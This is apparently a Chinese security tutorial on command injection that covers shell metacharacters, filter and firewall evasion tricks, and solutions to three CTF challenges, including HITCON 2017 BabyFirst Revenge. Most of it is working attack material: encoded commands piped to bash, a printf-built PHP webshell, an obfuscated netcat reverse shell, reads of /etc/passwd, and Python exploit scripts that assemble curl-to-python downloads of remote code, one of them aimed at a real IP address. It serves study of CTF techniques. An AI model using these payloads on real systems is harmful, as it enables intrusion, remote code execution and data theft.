前言

命令注入是一种常见的漏洞形态。一旦存在命令注入漏洞,攻击者就可以在目标系统执行任意命令。命令注入攻击(command/shell injection)是通过目标主机上某个程序的漏洞来执行攻击者想要执行的命令。命令注入攻击常用在向程序传入不安全参数(命令行参数、http头、cookie)。

命令注入中的特殊符号

提到命令注入,不得不讲到一些特殊符号以及他们的组合,接下来就聊一聊这些特殊符号。

|(管道符)

连结上个指令的标准输出,做为下个指令的标准输入。

&(and符)

用户有时候执行命令要花很长时间,可能会影响做其他事情。最好的方法是将它放在后台执行。后台运行的程序在用户注销后系统还可以继续执行。当要把命令放在后台执行时,在命令的后面加上&。

Linux中的&&与||

shell在执行某个命令的时候,会返回一个返回值,该返回值保存在shell变量$? 中。当 $? == 0 时,表示执行成功;当 $? == 1时,表示执行失败。有时候,下一条命令依赖前一条命令是否执行成功。如:在成功地执行一条命令之后再执行另一条命令,或者在一条命令执行失败后再执行另一条命令等。shell提供了&&和||来实现命令执行控制的功能,shell将根据&&或||前面命令的返回值来控制其后面命令的执行。

&&(双anf符)

语法格式如下: command1 && command2 [&& command3 ...] 命令之间使用 && 连接,实现逻辑与的功能。只有在&&左边的命令返回真(命令返回值 $? == 0),&&右边的命令才会被执行,只要有一个命令返回假(命令返回值$? == 1),后面的命令就不会被执行

||(双管道符)

语法格式如下:

command1 || command2 [|| command3 ...] 命令之间使用 || 连接,实现逻辑或的功能。只有在 || 左边的命令返回假(命令返回值 $? == 1),||右边的命令才会被执行。这和c语言中的逻辑或语法功能相同,即实现短路逻辑或操作。只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。

;(分号)

当有几个命令要连续执行时,我们可以把它们放在一行内,中间用;分开。

`(反引号)

命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。

()指令群组

格式为:(command1;command2[;command3...])

Linux shell 通配符 / glob 模式


image.png

应用实例

$ cat /fl??
flag{xxx}

# 存在文件 a.txt 和 b.txt 和 c.txt 和 ab.txt
$ ls [ab].txt
a.txt b.txt

$ ls *[ab].txt
ab.txt a.txt b.txt

$ ls [a-c].txt
a.txt b.txt c.txt

$ ls *[a-c].txt
a.txt ab.txt abc.txt b.txt c.txt

$ echo d{a,e,i,u,o}g
dag deg dig dug dog

#  大括号可以嵌套使用
$ echo {j{p,pe}g,png}
jpg jpeg png

#  {start..end}匹配连续字符
$ cat /f{0..z}ag
flag{xxxxx}

常用绕过

命令分隔与执行多条命令

# Unix
%0a
%0d
;
&
|
$(shell_command)`shell_command`{shell_command,}

# Windows
%0a
&
|
%1a - 一个神奇的角色,作为.bat文件中的命令分隔符

空格绕过

# 使用<或>
$ cat</flag
    flag{xxxxx}
$ cat<>/flag
  flag{xxxxx}

# 使用IFS
$ cat$IFS$9/flag
  flag{xxxx}
$ cat${IFS}/flag
  flag{xxxxx}
$ cat$IFS/flag
  flag{xxxxx}

# 使用url的编码绕过
%20(space)
%09(tab)
%3c(<)
+

# 变量控制
$ X=$'cat\x20/flag'&&$X
  flag{xxxxx}
$ X=$'cat\x09/flag'&&$X
  flag{xxxxx}

采用$@绕过
$ c$@at /fl$@ag
  flag{xxx}
$ echo i$@d
  id
$ echo i$@d|$0
   uid=0(root) gid=0(root) groups=0(root)

黑名单绕过

# 采用变量
root@kali:/# a=l ;b=s;$a$b
0      bin   dev     exp.py  initrd.img      lib32   lost+found  mnt         php-5.6.30.tar.gz    run     srv      start.sh  tmp  vmlinuz
1.txt  boot  ed.hup  flag    initrd.img.old  lib64   media     opt         proc        sbin     sso1.py  sys        usr  vmlinuz.old
app    ctf   etc     home    lib         libx32  meisai     php-5.6.30  root        shentou  sso.py   timu        var
root@kali:/# a=c;b=at;c=flag;$a$b $c
flag{xxx}

# 编码绕过
root@kali:/# echo "Y2F0IC9mbGFn"|base64 -d|bash
flag{xxx}

root@kali:/# echo "636174202f666c6167" | xxd -r -p|bash   #hex
flag{xxx}

root@kali:/# $(cat /flag)
bash: flag{xxx}: 未找到命令

root@kali:/# $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
flag{xxx}

root@kali:/# {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
flag{xxx}

root@kali:/# {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
root@kali:/# cat 1.php 
<?php @eval($_POST['c']);?>

# 引号
root@kali:/# c"a"t /f''l'a'g
flag{xxx}

# 反斜线
root@kali:/#  c\a\t /f\l\ag
flag{xxx}

# 利用已经存在的资源
root@kali:/# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
root@kali:/# echo $PATH | cut -c 1
/
root@kali:/# cat `echo $PATH|cut -c 1`flag
flag{xxx}

命令注入之Web应用防火墙绕过技巧

本文中讲述的绕过防火墙技巧,只适用于linux系统命令注入环境中

使用通配符绕过防火墙规则

root@kali:/# /???/n? -e /???/b??h 127.0.0.1 6666

root@kali:/# nc -lvp 6666*
listening on [any] 6666 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 40004
id
uid=0(root) gid=0(root) 组=0(root)
whoami
root

使用字符串拼接绕过防火墙规则

root@kali:/# /'b'i''n/'c''a't /e't'c/p''as''sw'd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

使用curl -d参数读取本地文件


三道大师傅出的命令注入题目

p牛七字绕过

<?php
if(strlen($_GET[1])<8){
    echo shell_exec($_GET[1]);
}
?>
#!/usr/bin/python3
#-*- coding: utf-8 -*- 

import requests 
def GetShell():
   url = "http://192.168.56.129/shell.php?1="
   fileNames = ["1.php","-O\ \\","cn\ \\","\ a.\\","wget\\"] 
   # linux创建中间有空格的文件名,需要转义,所以有请求"cn\ \\"
   # 可以修改hosts文件,让a.cn指向一个自己的服务器。
   # 在a.cn 的根目录下创建index.html ,内容是一个php shell 

   for fileName in fileNames:
       createFileUrl = url+">"+fileName
       print createFileUrl 
       requests.get(createFileUrl)

   getShUrl = url + "ls -t>1"
   print getShUrl
   requests.get(getShUrl)
   getShellUrl = url + "sh 1"
   print getShellUrl
   requests.get(getShellUrl)

   shellUrl = "http://192.168.56.129/1.php"
   response = requests.get(shellUrl)
   if response.status_code == 200:
       print "[*] Get shell !"
   else :
       print "[*] fail!"

if __name__ == "__main__":
   GetShell()

五字绕过[HITCON CTF 2017-BabyFirst Revenge]

   $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
   @mkdir($sandbox);
   @chdir($sandbox);
   if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
       @exec($_GET['cmd']);
   } else if (isset($_GET['reset'])) {
       @exec('/bin/rm -rf ' . $sandbox);
   }
   highlight_file(__FILE__);
import requests
from time import sleep
from urllib import quote
payload = [
   # generate `ls -t>g` file
   '>ls\\', 
   'ls>_', 
   '>\ \\', 
   '>-t\\', 
   '>\>g', 
   'ls>>_', 
   # generate `curl orange.tw.tw>python`
   # curl shell.0xb.pw|python
   '>on', 
   '>th\\', 
   '>py\\',
   '>\|\\', 
   '>pw\\', 
   '>x.\\',
   '>xx\\', 
   '>l.\\', 
   '>el\\', 
   '>sh\\', 
   '>\ \\', 
   '>rl\\', 
   '>cu\\', 
   # exec
   'sh _', 
   'sh g', 
]
# r = requests.get('http://localhost/tmp/?reset=1')
for i in payload:
   assert len(i) <= 5 
   r = requests.get('http://localhost/tmp/?cmd=' + quote(i) )
   print i
   sleep(0.2)

四字绕过[HITCON 2017 BabyFirst Revenge v2]

<?php
   $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
   @mkdir($sandbox);
   @chdir($sandbox);
   if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
       @exec($_GET['cmd']);
   } else if (isset($_GET['reset'])) {
       @exec('/bin/rm -rf ' . $sandbox);
   }
   highlight_file(__FILE__);
?>
import requests
from time import sleep
from urllib import quote

payload = [
   # generate "g> ht- sl" to file "v"
   '>dir', 
   '>sl', 
   '>g\>',
   '>ht-',
   '*>v',

   # reverse file "v" to file "x", content "ls -th >g"
   '>rev',
   '*v>x',

   # generate "curl orange.tw|python;"
   '>\;\\', 
   '>on\\', 
   '>th\\', 
   '>py\\', 
   '>\|\\', 
   '>tw\\',
   '>e.\\', 
   '>ng\\', 
   '>ra\\', 
   '>o\\', 
   '>\ \\', 
   '>rl\\', 
   '>cu\\', 

   # got shell
   'sh x', 
   'sh g', 
]


r = requests.get('http://52.197.41.31/?reset=1')
for i in payload:
   assert len(i) <= 4
   r = requests.get('http://52.197.41.31/?cmd=' + quote(i) )
   print i
   sleep(0.1)

参考

巧用命令注入的N种方式
Web Application Firewall (WAF) Evasion Techniques
Web Application Firewall (WAF) Evasion Techniques #2

END

命令注入是大学问,很多都是fuzz之后发现的小trick,以后还有更多奇淫技巧的话会继续更新。